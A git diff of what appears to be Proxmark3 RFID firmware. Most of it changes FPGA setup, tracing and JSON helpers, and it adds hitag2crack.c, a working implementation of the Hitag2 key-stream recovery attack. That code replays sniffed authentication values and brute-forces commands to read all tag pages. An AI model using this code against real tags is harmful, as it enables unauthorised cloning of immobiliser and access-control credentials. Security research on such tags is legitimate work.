//TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0); //TransmitFor18092_AsReader(frameSpace, frameSpace[2]+4, GetCountSspClk()+512, 1, 0);
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
TransmitFor18092_AsReader(frameSpace, frameSpace[2] + 4, NULL, 1, 0);
// read block // read block
if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) { if (WaitForFelicaReply(1024) && FelicaFrame.framebytes[3] == FELICA_RDBLK_ACK) {
@ -801,11 +800,11 @@ void felica_dump_lite_s() {
} }
} }
} }
isOK = true; isOK = true;
break; break;
} }
} }
switch_off(); switch_off();
//Resetting Frame mode (First set in fpgaloader.c) //Resetting Frame mode (First set in fpgaloader.c)

View file

@ -124,8 +124,8 @@ void SetupSpi(int mode) {
} }
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Set up the synchronous serial port, with the one set of options that we // Set up the synchronous serial port with the set of options that fits
// always use when we are talking to the FPGA. Both RX and TX are enabled. // the FPGA mode. Both RX and TX are always enabled.
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
void FpgaSetupSsc(void) { void FpgaSetupSsc(void) {
// First configure the GPIOs, and get ourselves a clock. // First configure the GPIOs, and get ourselves a clock.
@ -141,16 +141,16 @@ void FpgaSetupSsc(void) {
// Now set up the SSC proper, starting from a known state. // Now set up the SSC proper, starting from a known state.
AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST;
// RX clock comes from TX clock, RX starts when TX starts, data changes // RX clock comes from TX clock, RX starts on Transmit Start,
// on RX clock rising edge, sampled on falling edge // data and frame signal is sampled on falling edge of RK
AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1); AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1);
// 8 bits per transfer, no loopback, MSB first, 1 transfer per sync // 8 bits per transfer, no loopback, MSB first, 1 transfer per sync
// pulse, no output sync // pulse, no output sync
AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0);
// clock comes from TK pin, no clock output, outputs change on falling // TX clock comes from TK pin, no clock output, outputs change on falling
// edge of TK, sample on rising edge of TK, start on positive-going edge of sync // edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF
AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5); AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5);
// tx framing is the same as the rx framing // tx framing is the same as the rx framing
@ -400,8 +400,10 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3
void FpgaDownloadAndGo(int bitstream_version) { void FpgaDownloadAndGo(int bitstream_version) {
// check whether or not the bitstream is already loaded // check whether or not the bitstream is already loaded
if (downloaded_bitstream == bitstream_version) if (downloaded_bitstream == bitstream_version) {
FpgaEnableTracing();
return; return;
}
// Send waiting time extension request as this will take a while // Send waiting time extension request as this will take a while
send_wtx(1500); send_wtx(1500);
@ -437,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) {
// Send a 16 bit command/data pair to the FPGA. // Send a 16 bit command/data pair to the FPGA.
// The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 // The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
// where C is the 4 bit command and D is the 12 bit data // where C is the 4 bit command and D is the 12 bit data
//
// @params cmd and v gets or over eachother. Take careful note of overlapping bits.
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
void FpgaSendCommand(uint16_t cmd, uint16_t v) { void FpgaSendCommand(uint16_t cmd, uint16_t v) {
SetupSpi(SPI_FPGA_MODE); SetupSpi(SPI_FPGA_MODE);
@ -449,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) {
// vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to // vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to
// avoid changing this function's occurence everywhere in the source code. // avoid changing this function's occurence everywhere in the source code.
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
void FpgaWriteConfWord(uint8_t v) { void FpgaWriteConfWord(uint16_t v) {
FpgaSendCommand(FPGA_CMD_SET_CONFREG, v); FpgaSendCommand(FPGA_CMD_SET_CONFREG, v);
} }
//-----------------------------------------------------------------------------
// enable/disable FPGA internal tracing
//-----------------------------------------------------------------------------
void FpgaEnableTracing(void) {
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1);
}
void FpgaDisableTracing(void) {
FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0);
}
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Set up the CMOS switches that mux the ADC: four switches, independently // Set up the CMOS switches that mux the ADC: four switches, independently
// closable, but should only close one at a time. Not an FPGA thing, but // closable, but should only close one at a time. Not an FPGA thing, but

View file

@ -20,40 +20,72 @@
// definitions for multiple FPGA config files support // definitions for multiple FPGA config files support
#define FPGA_BITSTREAM_LF 1 #define FPGA_BITSTREAM_LF 1
#define FPGA_BITSTREAM_HF 2 #define FPGA_BITSTREAM_HF 2
//#define FPGA_BITSTREAM_FELICA 3
/*
Communication between ARM / FPGA is done inside armsrc/fpgaloader.c (function FpgaSendCommand)
Send 16 bit command / data pair to FPGA
The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0
where
C is 4bit command
D is 12bit data
-----+--------- frame layout --------------------
bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
-----+-------------------------------------------
cmd | x x x x
major| x x x
opt | x x
divi | x x x x x x x x
thres| x x x x x x x x
-----+-------------------------------------------
*/
// Definitions for the FPGA commands. // Definitions for the FPGA commands.
#define FPGA_CMD_SET_CONFREG (1<<12) // BOTH HF / LF
#define FPGA_CMD_SET_DIVISOR (2<<12) #define FPGA_CMD_SET_CONFREG (1<<12) // C
#define FPGA_CMD_SET_USER_BYTE1 (3<<12)
// LF
#define FPGA_CMD_SET_DIVISOR (2<<12) // C
#define FPGA_CMD_SET_USER_BYTE1 (3<<12) // C
// HF
#define FPGA_CMD_TRACE_ENABLE (2<<12) // C
// Definitions for the FPGA configuration word. // Definitions for the FPGA configuration word.
// LF // LF
#define FPGA_MAJOR_MODE_LF_ADC (0<<5) #define FPGA_MAJOR_MODE_LF_READER (0<<5)
#define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5) #define FPGA_MAJOR_MODE_LF_EDGE_DETECT (1<<5)
#define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5) #define FPGA_MAJOR_MODE_LF_PASSTHRU (2<<5)
// HF #define FPGA_MAJOR_MODE_LF_ADC (3<<5)
#define FPGA_MAJOR_MODE_HF_READER_TX (0<<5)
#define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // HF
#define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) #define FPGA_MAJOR_MODE_HF_READER_TX (0<<5) // D
#define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) #define FPGA_MAJOR_MODE_HF_READER_RX_XCORR (1<<5) // D
#define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) #define FPGA_MAJOR_MODE_HF_SIMULATOR (2<<5) // D
#define FPGA_MAJOR_MODE_HF_FELICA (5<<5) #define FPGA_MAJOR_MODE_HF_ISO14443A (3<<5) // D
// BOTH #define FPGA_MAJOR_MODE_HF_SNOOP (4<<5) // D
#define FPGA_MAJOR_MODE_OFF_LF (6<<5) #define FPGA_MAJOR_MODE_HF_ISO18092 (5<<5) // D
#define FPGA_MAJOR_MODE_OFF (7<<5) #define FPGA_MAJOR_MODE_HF_GET_TRACE (6<<5) // D
// BOTH HF / LF
#define FPGA_MAJOR_MODE_OFF (7<<5) // D
// Options for LF_READER
#define FPGA_LF_ADC_READER_FIELD 0x1
// Options for LF_ADC
#define FPGA_LF_ADC_READER_FIELD (1<<0)
// Options for LF_EDGE_DETECT // Options for LF_EDGE_DETECT
#define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1 #define FPGA_CMD_SET_EDGE_DETECT_THRESHOLD FPGA_CMD_SET_USER_BYTE1
#define FPGA_LF_EDGE_DETECT_READER_FIELD (1<<0) #define FPGA_LF_EDGE_DETECT_READER_FIELD 0x1
#define FPGA_LF_EDGE_DETECT_TOGGLE_MODE (1<<1) #define FPGA_LF_EDGE_DETECT_TOGGLE_MODE 0x2
// Options for the HF reader, tx to tag // Options for the HF reader, tx to tag
#define FPGA_HF_READER_TX_SHALLOW_MOD (1<<0) #define FPGA_HF_READER_TX_SHALLOW_MOD 0x1
// Options for the HF reader, correlating against rx from tag // Options for the HF reader, correlating against rx from tag
#define FPGA_HF_READER_RX_XCORR_848_KHZ (1<<0) #define FPGA_HF_READER_RX_XCORR_848_KHZ 0x1
#define FPGA_HF_READER_RX_XCORR_SNOOP (1<<1) #define FPGA_HF_READER_RX_XCORR_SNOOP 0x2
#define FPGA_HF_READER_RX_XCORR_QUARTER (1<<2) #define FPGA_HF_READER_RX_XCORR_QUARTER 0x4
// Options for the HF simulated tag, how to modulate // Options for the HF simulated tag, how to modulate
#define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000 #define FPGA_HF_SIMULATOR_NO_MODULATION 0x0 // 0000
#define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001 #define FPGA_HF_SIMULATOR_MODULATE_BPSK 0x1 // 0001
@ -63,20 +95,21 @@
// no 848K // no 848K
// Options for ISO14443A // Options for ISO14443A
#define FPGA_HF_ISO14443A_SNIFFER (0<<0) #define FPGA_HF_ISO14443A_SNIFFER 0x0
#define FPGA_HF_ISO14443A_TAGSIM_LISTEN (1<<0) #define FPGA_HF_ISO14443A_TAGSIM_LISTEN 0x1
#define FPGA_HF_ISO14443A_TAGSIM_MOD (2<<0) #define FPGA_HF_ISO14443A_TAGSIM_MOD 0x2
#define FPGA_HF_ISO14443A_READER_LISTEN (3<<0) #define FPGA_HF_ISO14443A_READER_LISTEN 0x3
#define FPGA_HF_ISO14443A_READER_MOD (4<<0) #define FPGA_HF_ISO14443A_READER_MOD 0x4
//options for Felica. //options for Felica.
#define FPGA_MAJOR_MODE_ISO18092 (5<<5) // 01010 0000 #define FPGA_HF_ISO18092_FLAG_NOMOD 0x1 // 0001 disable modulation module
#define FPGA_HF_ISO18092_FLAG_NOMOD (1<<0) // 0001 disable modulation module #define FPGA_HF_ISO18092_FLAG_424K 0x2 // 0010 should enable 414k mode (untested). No autodetect
#define FPGA_HF_ISO18092_FLAG_424K (2<<0) // 0010 should enable 414k mode (untested). No autodetect #define FPGA_HF_ISO18092_FLAG_READER 0x4 // 0100 enables antenna power, to act as a reader instead of tag
#define FPGA_HF_ISO18092_FLAG_READER (4<<0) // 0100 enables antenna power, to act as a reader instead of tag
void FpgaSendCommand(uint16_t cmd, uint16_t v); void FpgaSendCommand(uint16_t cmd, uint16_t v);
void FpgaWriteConfWord(uint8_t v); void FpgaWriteConfWord(uint16_t v);
void FpgaEnableTracing(void);
void FpgaDisableTracing(void);
void FpgaDownloadAndGo(int bitstream_version); void FpgaDownloadAndGo(int bitstream_version);
// void FpgaGatherVersion(int bitstream_version, char *dst, int len); // void FpgaGatherVersion(int bitstream_version, char *dst, int len);
void FpgaSetupSsc(void); void FpgaSetupSsc(void);

View file

@ -437,27 +437,27 @@ static int json_doit(struct frozen *f) {
} }
int json_escape(struct json_out *out, const char *p, size_t len) WEAK; int json_escape(struct json_out *out, const char *p, size_t len) WEAK;
int json_escape(struct json_out *out, const char *p, size_t len) { int json_escape(struct json_out *out, const char *str, size_t str_len) {
size_t i, cl, n = 0; size_t i, cl, n = 0;
const char *hex_digits = "0123456789abcdef"; const char *hex_digits = "0123456789abcdef";
const char *specials = "btnvfr"; const char *specials = "btnvfr";
for (i = 0; i < len; i++) { for (i = 0; i < str_len; i++) {
unsigned char ch = ((unsigned char *) p)[i]; unsigned char ch = ((unsigned char *) str)[i];
if (ch == '"' || ch == '\\') { if (ch == '"' || ch == '\\') {
n += out->printer(out, "\\", 1); n += out->printer(out, "\\", 1);
n += out->printer(out, p + i, 1); n += out->printer(out, str + i, 1);
} else if (ch >= '\b' && ch <= '\r') { } else if (ch >= '\b' && ch <= '\r') {
n += out->printer(out, "\\", 1); n += out->printer(out, "\\", 1);
n += out->printer(out, &specials[ch - '\b'], 1); n += out->printer(out, &specials[ch - '\b'], 1);
} else if (c_isprint(ch)) { } else if (c_isprint(ch)) {
n += out->printer(out, p + i, 1); n += out->printer(out, str + i, 1);
} else if ((cl = json_get_utf8_char_len(ch)) == 1) { } else if ((cl = json_get_utf8_char_len(ch)) == 1) {
n += out->printer(out, "\\u00", 4); n += out->printer(out, "\\u00", 4);
n += out->printer(out, &hex_digits[(ch >> 4) % 0xf], 1); n += out->printer(out, &hex_digits[(ch >> 4) % 0xf], 1);
n += out->printer(out, &hex_digits[ch % 0xf], 1); n += out->printer(out, &hex_digits[ch % 0xf], 1);
} else { } else {
n += out->printer(out, p + i, cl); n += out->printer(out, str + i, cl);
i += cl - 1; i += cl - 1;
} }
} }
@ -1032,8 +1032,8 @@ static void json_scanf_cb(void *callback_data, const char *name,
} }
} }
int json_vscanf(const char *s, int len, const char *fmt, va_list ap) WEAK; int json_vscanf(const char *str, int len, const char *fmt, va_list ap) WEAK;
int json_vscanf(const char *s, int len, const char *fmt, va_list ap) { int json_vscanf(const char *str, int len, const char *fmt, va_list ap) {
char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20]; char path[JSON_MAX_PATH_LEN] = "", fmtbuf[20];
int i = 0; int i = 0;
char *p = NULL; char *p = NULL;
@ -1070,7 +1070,7 @@ int json_vscanf(const char *s, int len, const char *fmt, va_list ap) {
break; break;
} }
} }
json_walk(s, len, json_scanf_cb, &info); json_walk(str, len, json_scanf_cb, &info);
} else if (json_isalpha(fmt[i]) || json_get_utf8_char_len(fmt[i]) > 1) { } else if (json_isalpha(fmt[i]) || json_get_utf8_char_len(fmt[i]) > 1) {
char *pe; char *pe;
const char *delims = ": \r\n\t"; const char *delims = ": \r\n\t";

View file

@ -144,7 +144,7 @@ typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap);
* overflown bytes are not printed. * overflown bytes are not printed.
*/ */
int json_printf(struct json_out *, const char *fmt, ...); int json_printf(struct json_out *, const char *fmt, ...);
int json_vprintf(struct json_out *, const char *fmt, va_list ap); int json_vprintf(struct json_out *, const char *fmt, va_list xap);
/* /*
* Same as json_printf, but prints to a file. * Same as json_printf, but prints to a file.
@ -212,8 +212,7 @@ typedef void (*json_scanner_t)(const char *str, int len, void *user_data);
* Fills `token` with the matched JSON token. * Fills `token` with the matched JSON token.
* Return -1 if no array element found, otherwise non-negative token length. * Return -1 if no array element found, otherwise non-negative token length.
*/ */
int json_scanf_array_elem(const char *s, int len, const char *path, int index, int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token);
struct json_token *token);
/* /*
* Unescape JSON-encoded string src,slen into dst, dlen. * Unescape JSON-encoded string src,slen into dst, dlen.

View file

@ -1,3 +1,12 @@
//-----------------------------------------------------------------------------
// piwi, 2019
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Routines to get sample data from FPGA.
//-----------------------------------------------------------------------------
#include "hfsnoop.h" #include "hfsnoop.h"
#include "proxmark3_arm.h" #include "proxmark3_arm.h"
#include "BigBuf.h" #include "BigBuf.h"
@ -5,8 +14,9 @@
#include "ticks.h" #include "ticks.h"
#include "dbprint.h" #include "dbprint.h"
#include "util.h" #include "util.h"
#include "fpga.h"
static void RAMFUNC optimizedSniff(void); #include "appmain.h"
#include "cmd.h"
static void RAMFUNC optimizedSniff(void) { static void RAMFUNC optimizedSniff(void) {
int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory
@ -79,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF(); LED_D_OFF();
} }
void HfPlotDownload(void) {
uint8_t *buf = ToSend;
uint8_t *this_buf = buf;
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
FpgaSetupSsc();
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address
AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples
buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM
LED_B_ON();
for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) {
// prepare next DMA transfer:
uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE));
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE;
size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE);
while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete
reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len);
this_buf = next_buf;
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
// Trigger a finish downloading signal with an ACK frame
reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0);
LED_B_OFF();
}

View file

@ -1,6 +1,7 @@
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005 // Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011 // Gerhard de Koning Gans, April 2008, May 2011
// Piwi, Feb 2019
// //
// This code is licensed to you under the terms of the GNU GPL, version 2 or, // This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of // at your option, any later version. See the LICENSE.txt file for the text of
@ -12,5 +13,5 @@
#define __HFSNOOP_H #define __HFSNOOP_H
void HfSniff(int, int); void HfSniff(int, int);
void HfPlotDownload(void);
#endif #endif

File diff suppressed because it is too large Load diff

View file

@ -14,8 +14,8 @@
#include "common.h" #include "common.h"
#include "hitag.h" #include "hitag.h"
void SniffHitag(void); void SniffHitag2(void);
void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data); void SimulateHitag2(bool tag_mem_supplied, uint8_t *data);
void ReaderHitag(hitag_function htf, hitag_data *htd); void ReaderHitag(hitag_function htf, hitag_data *htd);
void WriterHitag(hitag_function htf, hitag_data *htd, int page); void WriterHitag(hitag_function htf, hitag_data *htd, int page);

923
armsrc/hitag2crack.c Normal file
View file

@ -0,0 +1,923 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//
// iceman, Jan, 2020
// doegox, Jan, 2020
//-----------------------------------------------------------------------------
// hitag2 attack functions
//-----------------------------------------------------------------------------
#include "hitagcrypto.h"
#include "hitag2crack.h"
#define READP0CMD "1100000111"
#define ERROR_RESPONSE "F402889C"
extern const uint8_t Hitag2Sync[5];
extern bool CryptoActive;
extern Hitag_State Hitag_Crypto_State;
// hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the
// cracked tag;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
uint8_t e_page0cmd[10];
uint8_t keybits[42];
uint8_t pagehex[9];
uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
// get uid as hexstring
if(!hitag2_get_uid(uidhex))
{
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr)
{
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32)
{
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32)
{
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))
{
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))
{
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// empty the response string
response[0] = 0x00;
// read all pages using key stream
for (i=0; i<8; i++)
{
if (hitag2crack_read_page(pagehex, i, nrar, keybits))
{
sprintf(temp, "%1d: %s\r\n", i, pagehex);
}
else
{
sprintf(temp, "%1d:\r\n", i);
}
// add page string to response
strcat(response, temp);
}
return true;
}
// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
// with a different sequential encrypted command value in order to find one
// that returns a valid response.
// e_cmd is the returned binarray of the valid encrypted command;
// nrar is the binarray of the 64 bit nR aR pair.
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
uint8_t guess[10];
uint8_t responsestr[9];
// UserMessage("Finding valid encrypted command:");
// we're going to hold bits 5, 7, 8 and 9 and brute force the rest
// e.g. x x x x x 0 x 0 0 0
for (uint8_t a=0; a<2; a++) {
for (uint8_t b=0; b<2; b++) {
for (uint8_t c=0; c<2; c++) {
for (uint8_t d=0; d<2; d++) {
for (uint8_t e=0; e<2; e++) {
for (uint8_t g=0; g<2; g++) {
// build binarray
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
// return the guess as the encrypted command
memcpy(e_cmd, guess, 10);
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
}
}
// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
return false;
}
// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
// valid encrypted command and tests the results by attempting an extended
// command version of the command to see if that produces a valid response.
// keybits is the returned binarray of the recovered key stream;
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
// e_firstcmd is the binarray of the first valid encrypted command found;
// nrar is the binarray of the 64 bit nR aR pair;
// uid is the binarray of the 32 bit UID.
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
uint8_t a, b, c, d;
uint8_t guess[10];
uint8_t responsestr[9];
uint8_t e_uid[32];
UserMessage("Finding 'read page 0' command:");
// we're going to brute the missing 4 bits of the valid encrypted command
for (a=0; a<2; a++)
{
for (b=0; b<2; b++)
{
for (c=0; c<2; c++)
{
for (d=0; d<2; d++)
{
// create our guess by bit flipping the pattern of bits
// representing the inverted bit and the 3 page bits
// in both the non-inverted and inverted parts of the
// encrypted command.
memcpy(guess, e_firstcmd, 10);
if (a)
{
guess[5] = !guess[5];
guess[0] = !guess[0];
}
if (b)
{
guess[7] = !guess[7];
guess[2] = !guess[2];
}
if (c)
{
guess[8] = !guess[8];
guess[3] = !guess[3];
}
if (d)
{
guess[9] = !guess[9];
guess[4] = !guess[4];
}
// try the guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10))
{
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
// convert response to binarray
hextobinarray(e_uid, responsestr);
// test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid))
{
return true;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
#endif
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
return false;
}
// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
// encrypted version to retrieve the key stream. It then uses this key stream
// to encrypt an extended version of the READP0CMD and tests if the response
// is valid.
// keybits is the returned binarray of the key stream;
// nrar is the 64 bit binarray of nR aR pair;
// e_cmd is the binarray of the encrypted command;
// uid is the binarray of the card UID;
// e_uid is the binarray of the encrypted version of the UID.
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
uint8_t cipherbits[42];
uint8_t plainbits[42];
uint8_t ext_cmd[40];
uint8_t e_ext_cmd[40];
uint8_t responsestr[9];
int i;
// copy encrypted cmd to cipherbits
memcpy(cipherbits, e_cmd, 10);
// copy encrypted uid to cipherbits
memcpy(cipherbits + 10, e_uid, 32);
// copy cmd to plainbits
binstringtobinarray(plainbits, READP0CMD);
// copy uid to plainbits
memcpy(plainbits + 10, uid, 32);
// xor the plainbits with the cipherbits to get keybits
hitag2crack_xor(keybits, plainbits, cipherbits, 42);
// create extended cmd -> 4 * READP0CMD = 40 bits
for (i=0; i<4; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
// send extended encrypted cmd
if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40))
{
// test if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
return true;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
return false;
}
// hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len.
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) {
for (int i=0; i<len; i++) {
target[i] = source[i] ^ pad[i];
}
}
// hitag2crack_read_page uses the supplied key stream and nrar pair to read the
// given page, returning the response as a hexstring.
// responsestr is the returned hexstring;
// pagenum is the page number to read;
// nrar is the 64 bit binarray of the nR aR pair;
// keybits is the binarray of the key stream.
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
uint8_t cmd[10];
uint8_t e_cmd[10];
uint8_t e_responsestr[9];
uint8_t e_response[32];
uint8_t response[32];
int i;
if ((pagenum < 0) || (pagenum > 7))
{
UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
return false;
}
// create cmd
binstringtobinarray(cmd, READP0CMD);
if (pagenum & 0x1)
{
cmd[9] = !cmd[9];
cmd[4] = !cmd[4];
}
if (pagenum & 0x2)
{
cmd[8] = !cmd[8];
cmd[3] = !cmd[3];
}
if (pagenum & 0x4)
{
cmd[7] = !cmd[7];
cmd[2] = !cmd[2];
}
// encrypt command
hitag2crack_xor(e_cmd, cmd, keybits, 10);
// send encrypted command
if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10))
{
// check if it is valid
if (strcmp(e_responsestr, ERROR_RESPONSE) != 0)
{
// convert to binarray
hextobinarray(e_response, e_responsestr);
// decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32);
// convert to hexstring
binarraytohex(responsestr, response, 32);
return true;
}
else
{
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
}
}
else
{
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
}
return false;
}
// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
// command.
// responsestr is the hexstring of the response to the command;
// nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command.
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
uint8_t tmp[37];
uint8_t uid[9];
uint8_t e_page3str[9];
